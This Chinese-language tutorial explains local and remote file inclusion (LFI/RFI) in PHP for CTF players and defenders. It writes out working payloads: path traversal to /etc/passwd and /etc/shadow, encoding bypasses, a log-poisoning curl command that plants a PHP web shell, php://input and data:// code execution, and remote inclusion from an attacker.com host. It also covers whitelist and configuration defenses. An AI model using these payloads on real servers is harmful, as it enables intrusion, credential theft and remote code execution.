1. 项目概述:从“包含”到“控制”的攻防博弈
在Web安全的世界里,文件包含漏洞(File Inclusion Vulnerability)就像一扇被开发者无意中虚掩的后门。它不像SQL注入那样直接窃取数据,也不像XSS那样在用户端弹窗捣乱,它的危险在于,攻击者可以通过这扇门,将服务器上的任意文件“包含”到当前执行的脚本中,从而读取敏感信息,甚至在特定条件下,将远程的恶意代码“请”进来执行,实现从信息泄露到远程代码执行(RCE)的致命跨越。我们常说的LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含),正是这扇“后门”的两种主要打开方式。最近在各大CTF平台(如攻防世界)和漏洞靶场(如DVWA、buu)中,这类题目出现频率极高,像buu lfi course 1这类题目,就是考察选手对路径遍历和过滤器绕过的熟练度。对于安全从业者、红队队员乃至开发者而言,深入理解LFI/RFI的成因、利用手法及防御策略,是构建纵深防御体系不可或缺的一环。本文将从一个实战攻防的视角,带你彻底拆解这两种漏洞,不仅告诉你“怎么打”,更重点剖析“为什么能打”以及“如何防得住”。
2. LFI漏洞深度解析与利用实战
2.1 LFI漏洞的核心原理与常见触发点
LFI漏洞的根源在于应用程序动态包含文件时,使用了未经验证的用户输入作为文件路径的一部分。想象一下,一个PHP页面有一个功能是根据参数page来加载不同的模板,比如index.php?page=about.php,代码可能这样写:
<?php $page = $_GET['page']; include('/templates/' . $page); ?>看起来没问题,/templates/about.php会被包含。但如果攻击者将参数改为../../../../etc/passwd呢?拼接后的路径变成了/templates/../../../../etc/passwd,经过系统路径解析,最终会指向/etc/passwd这个系统敏感文件。这就是经典的路径遍历(Path Traversal)攻击。
常见触发函数不仅仅是include,还有:
include()/include_once():包含并执行文件,如果文件不存在会发出警告,但脚本继续执行。require()/require_once():包含并执行文件,如果文件不存在会产生致命错误,脚本停止执行。fopen()、file_get_contents()等文件操作函数,当文件名参数可控时,也可能导致文件内容泄露。
关键点在于:程序信任了用户输入,并将其直接拼接进文件路径,且没有进行有效的规范化处理和边界限制。这通常发生在日志查看器、语言包加载、模板引擎、文件下载等功能模块中。
2.2 基础利用:敏感文件读取与路径遍历
利用LFI最直接的目的就是读取服务器上的敏感文件,获取进一步攻击的线索。
1. 系统关键文件读取:
- Linux/Unix系统:
/etc/passwd:查看系统用户列表,是信息收集的第一步。/etc/shadow:存储用户密码哈希(通常需要高权限,但有时配置错误可读)。/proc/self/environ:包含当前进程的环境变量,可能泄露路径、密钥等信息。/var/log/apache2/access.log或/var/log/nginx/access.log:Web访问日志,可用于日志注入攻击(后文详述)。~/.bash_history:用户历史命令,可能包含密码、密钥等敏感操作。
- Windows系统:
C:\Windows\System32\drivers\etc\hosts:主机文件。C:\boot.ini:系统启动配置(旧系统)。- 各种配置文件,如
C:\xampp\apache\conf\httpd.conf。
2. 路径遍历技巧:
- 基础遍历:使用
../(Linux)或..\(Windows)向上跳转目录。 - 编码绕过:如果程序过滤了
../,可以尝试URL编码、双重编码等。../->%2e%2e%2f->%252e%252e%252f../->..%2f->..%252f
- 绝对路径:直接使用绝对路径,如
/etc/passwd(如果Web根目录限制不严)。 - 空字节截断(PHP < 5.3.4):在文件名后添加空字节
%00,可以截断后面的后缀。例如:?file=../../etc/passwd%00,即使代码拼接了.php后缀(include($file . '.php')),%00后的.php也会被忽略。
注意:空字节注入在PHP高版本中已修复,但在一些遗留系统或特定场景下仍值得尝试。
2.3 高阶利用:从文件读取到代码执行
单纯的读取文件危害有限,安全人员真正的“艺术”在于将LFI升级为RCE。这里有几个经典的“桥接”技术。
1. 日志文件注入(Log Poisoning)这是将LFI转化为RCE最经典、最可靠的方法之一。思路是:向Web服务器的访问日志(如access.log)或错误日志(error.log)中写入PHP代码,然后通过LFI漏洞包含这个日志文件,从而执行代码。
实操步骤:
- 定位日志路径:通过LFI读取配置文件(如
/etc/apache2/apache2.conf)或错误信息猜测日志路径。常见路径:/var/log/apache2/access.log,/var/log/nginx/access.log。 - 污染日志:使用User-Agent、Referer或GET/POST参数注入PHP代码。因为日志会记录这些HTTP头信息。
或者直接在URL中注入(日志会记录请求URL):curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/http://target.com/<?php phpinfo();?> - 包含执行:通过LFI漏洞包含已被污染的日志文件。
此时,日志文件中的PHP代码会被服务器解析。如果注入的是http://target.com/vuln.php?file=../../../../var/log/apache2/access.logsystem(\$_GET['cmd']),那么就可以通过&cmd=id来执行系统命令。
2. 利用/proc文件系统Linux的/proc是一个虚拟文件系统,包含了当前系统进程的实时信息。其中/proc/self/fd/目录包含了当前进程打开的文件描述符。有时,上传文件时,服务端会先将其存储在临时位置(/tmp/phpXXXXXX),我们可以通过包含/proc/self/fd/[数字]来访问这个临时文件。但这需要精确的时序竞争,难度较高。
更常用的是/proc/self/environ。这个文件包含了进程的环境变量,其中HTTP_USER_AGENT等字段我们可以控制。我们可以像污染日志一样,修改User-Agent为PHP代码,然后包含/proc/self/environ来执行代码。这种方法比日志污染更直接,但要求包含/proc/self/environ的权限,且环境变量不能太长。
3. 利用PHP封装协议(PHP Wrappers)PHP内置的多种封装协议是LFI利用中的“瑞士军刀”,它们本身不是漏洞,但被漏洞利用时威力巨大。
php://filter:用于读取文件源码,即使文件被作为PHP解析,也能以文本形式读出。这在无法直接RCE但想审计源码时非常有用。?file=php://filter/convert.base64-encode/resource=index.php这会将
index.php的内容进行base64编码后输出,避免了被直接执行。解码后即可获得源代码。php://input:允许你读取POST请求的原始数据作为输入。这可以直接执行POST过去的PHP代码。POST /vuln.php?file=php://input HTTP/1.1 ... <?php system('id'); ?>当
vuln.php包含file参数时,它会去读取php://input流的内容(即我们POST的PHP代码),并将其作为PHP文件执行。data://:直接将数据流嵌入URI中执行。?file=data://text/plain,<?php phpinfo();?> // 或使用base64避免特殊字符问题 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b重要限制:
allow_url_include选项必须为On(默认是Off)。这使得data://和php://input在实际利用中条件较为苛刻。
2.4 实战中的过滤器绕过技巧
现代应用多少会有些防御,比如过滤../、php等关键字,或强制添加后缀。我们需要一些绕过技巧。
路径遍历过滤绕过:
- 嵌套绕过:
....//或....\/。某些简单的过滤器可能只替换一次../,....//经过一次替换后变成../。 - 绝对路径:直接使用
/etc/passwd,绕过对相对路径的检查。 - 超长路径:使用大量的
./,如././././etc/passwd,某些检查逻辑可能失效。
- 嵌套绕过:
后缀限制绕过:
- 空字节截断:如前所述,
%00(需PHP版本<5.3.4)。 - 路径长度截断:在Windows下,路径长度超过一定限制(如256字节)会导致截断。可以构造超长文件名,使强制添加的后缀被系统截断。
- 利用
?或#:在URL中,?之后的是查询参数,#之后的是锚点。有时添加它们可以“注释”掉后面的后缀。例如:?file=../../etc/passwd?或?file=../../etc/passwd%23。但这高度依赖于后端代码的解析方式。
- 空字节截断:如前所述,
关键字过滤绕过:
- 大小写变换:
pHp,P。 - 编码:URL编码、双重URL编码、HTML编码。
- 插入特殊字符:在某些上下文中,插入
/、\、.等可能被过滤的字符的变体。 - 使用别名或缩写:比如用
PHP的短标签<?=,但前提是服务器支持。
- 大小写变换:
3. RFI漏洞:将危险从远程引入
3.1 RFI与LFI的根本区别及利用条件
RFI是LFI的“升级版”。如果说LFI是打开本地的一扇门,RFI则是从互联网上直接邀请一个“客人”(远程文件)进来执行。其利用条件比LFI苛刻得多,但一旦成功,危害也直接得多,因为攻击者可以完全控制被包含的恶意代码内容。
核心区别:LFI包含的是服务器本地的文件路径,而RFI包含的是一个URL(如http://attacker.com/shell.txt)。
关键利用条件(PHP为例):
allow_url_fopen = On:允许PHP的文件函数(如fopen,include)打开URL作为文件。allow_url_include = On:允许include、require等包含函数直接包含URL。这个选项默认是Off,因此RFI在实际中比LFI少见。- 程序未对输入进行协议校验和过滤,允许
http://、ftp://等协议。
利用方式: 假设存在漏洞的代码:include($_GET['file'] . '.php');攻击者可以传入:?file=http://attacker.com/evil最终服务器会尝试包含http://attacker.com/evil.php。攻击者只需在http://attacker.com/下放置一个名为evil.php的文件,内容为Webshell,即可获得服务器控制权。
3.2 RFI的利用场景与协议利用
即使allow_url_include为Off,在某些特定场景下,RFI仍有利用空间。
利用SMB共享(Windows环境):在Windows环境下,
include()函数可以包含UNC路径(\\192.168.1.1\share\shell.php)。如果服务器在域内或能访问攻击者的SMB服务器,攻击者可以搭建一个恶意的SMB共享,诱使服务器包含其中的恶意文件。这有时可以绕过allow_url_include的限制,因为系统将其视为本地文件路径。利用FTP、PHP封装协议等:如果
allow_url_fopen为On,攻击者可以尝试使用ftp://或前面提到的php://input、data://等。data://协议尤其危险,因为它允许将代码直接内嵌在URL中,无需外部服务器。
3.3 RFI防御为何相对容易
正因为RFI的利用条件苛刻,它的防御也相对直接有效:
- 关闭危险配置:在生产环境中,坚决将
allow_url_fopen和allow_url_include设置为Off。这是最根本、最有效的措施。 - 白名单校验:对包含的文件名进行严格的白名单控制。只允许包含预定义的一组安全文件(如
about.php,contact.php)。 - 路径固定:不要将用户输入直接拼接进包含路径。如果需要动态包含,应使用安全的映射方式,例如通过一个数组映射键名到实际的安全文件路径。
$allowed_pages = ['home' => 'home.php', 'about' => 'about.php']; $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('404.php'); }
4. 漏洞挖掘、防御与实战演练
4.1 漏洞挖掘与手动测试技巧
在安全测试或CTF中,如何寻找文件包含漏洞?
- 参数枚举:关注URL中可能表示文件路径的参数,如
?file=,?page=,?load=,?path=,?lang=,?template=等。使用Burp Suite的Intruder或自定义字典进行模糊测试。 - 错误信息诱导:尝试包含一个不存在的文件,观察错误信息。如果错误信息暴露了部分路径(如“Warning: include(/includes/xxx.php)...”),则证实了包含功能的存在,并获得了路径信息。
- 测试基础遍历:在参数值中尝试简单的
../,观察响应是报错(可能被过滤)、返回正常页面(可能被防御),还是返回了不同的内容(可能成功)。 - 尝试PHP封装协议:直接测试
php://filter/resource=index.php,看是否能读取到源码。这是快速验证漏洞存在性和获取信息的高效方法。 - 结合其他漏洞:文件上传漏洞如果能上传文件,但无法直接访问(如上传到了非Web目录或文件名随机),可以尝试结合LFI漏洞去包含上传的临时文件或通过特定路径访问上传的文件。
4.2 多层次防御方案设计
防御文件包含漏洞需要从开发到运维的多层努力。
开发层(根本解决):
- 避免动态包含:如果可能,使用静态包含或现代化的模板引擎。
- 白名单机制:如前所述,这是最有效的方法。维护一个允许包含的文件列表。
- 严格输入验证:如果必须动态包含,应对输入进行严格过滤。但注意,黑名单过滤(过滤
../、http://)很容易被绕过。应优先使用白名单。 - 路径固定与规范化:
- 设置一个固定的基础目录(
base_dir),所有包含操作都在此目录下进行。 - 使用
realpath()函数获取文件的绝对路径,然后检查这个绝对路径是否在以base_dir开头的范围内。
$base_dir = '/var/www/html/includes/'; $user_input = $_GET['file']; $real_path = realpath($base_dir . $user_input); if ($real_path !== false && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('非法访问!'); } - 设置一个固定的基础目录(
运维与配置层:
- PHP安全配置:确保
php.ini中allow_url_include=Off,allow_url_fopen根据业务需要谨慎设置(建议也为Off)。设置open_basedir,将PHP可操作的文件限制在特定目录树内。 - Web服务器权限:以最低权限运行Web服务进程(如www-data用户)。确保Web根目录以外的敏感文件(如
/etc/passwd)对该进程用户不可读。 - 日志文件安全:将Web日志文件(access.log, error.log)的存放目录移出Web根目录,并设置严格的访问权限(如仅root可读)。
- 定期更新与扫描:及时更新系统、Web服务器和应用程序,使用漏洞扫描工具定期进行安全评估。
4.3 靶场实战与常见问题排查
在DVWA(Damn Vulnerable Web Application)或类似靶场中练习是掌握LFI/RFI的最佳途径。
DVWA LFI模块实战要点:
- Low级别:通常没有任何过滤,直接使用
../即可遍历目录。 - Medium级别:可能会过滤
http://、https://、../、..\等字符串。尝试使用双写绕过(....//)、大小写、编码(%2e%2e%2f)或绝对路径。 - High级别:通常采用白名单机制,只允许包含
include目录下的file*.php文件。此时需要思考如何利用已有的合法文件(如file1.php)进行攻击?或者是否存在其他入口点(如文件上传)与之结合?有时需要利用php://filter来读取源码寻找其他漏洞。
常见问题与排查技巧:
| 问题现象 | 可能原因 | 排查思路 |
|---|---|---|
包含../后返回空白或原页面 | 输入被过滤或替换 | 尝试双写绕过....//,或使用编码%2e%2e%2f,或尝试绝对路径/etc/passwd。 |
包含php://filter报错或无效 | allow_url_fopen=Off或 版本不支持 | 检查PHP版本和配置。尝试file://协议读取本地文件。 |
| 包含日志文件无代码执行 | 日志文件不可写/权限不足/代码未注入成功 | 确认日志路径是否正确,尝试注入User-Agent或Referer,确认注入的PHP代码是否被转义(如<变成<)。 |
包含/proc/self/environ无内容 | 环境变量不可读或进程无权限 | 尝试其他/proc下的文件,如/proc/self/cmdline。 |
| RFI payload返回错误“URL file-access is disabled” | allow_url_include=Off | 放弃RFI,转向LFI利用技巧,如日志污染或封装协议。 |
个人实操心得:在真实环境或复杂CTF中,LFI很少是孤立存在的。它常常与文件上传、SSRF(服务器端请求伪造)、甚至是反序列化漏洞结合。例如,通过SSRF去读取内网文件,本质上也是利用了服务端的“文件包含”功能。因此,培养一种“连锁反应”的思维很重要——找到一个漏洞点,要立刻思考它能否成为通往另一个漏洞的桥梁。例如,通过LFI读到数据库配置文件,拿到数据库密码,或许就能进一步利用SQL注入或直接登录后台,后台可能又存在文件上传点,最终形成一个完整的攻击链。防御也一样,不能只堵一个点,需要建立纵深防御体系,让攻击者突破一层后,发现还有下一层在等着他。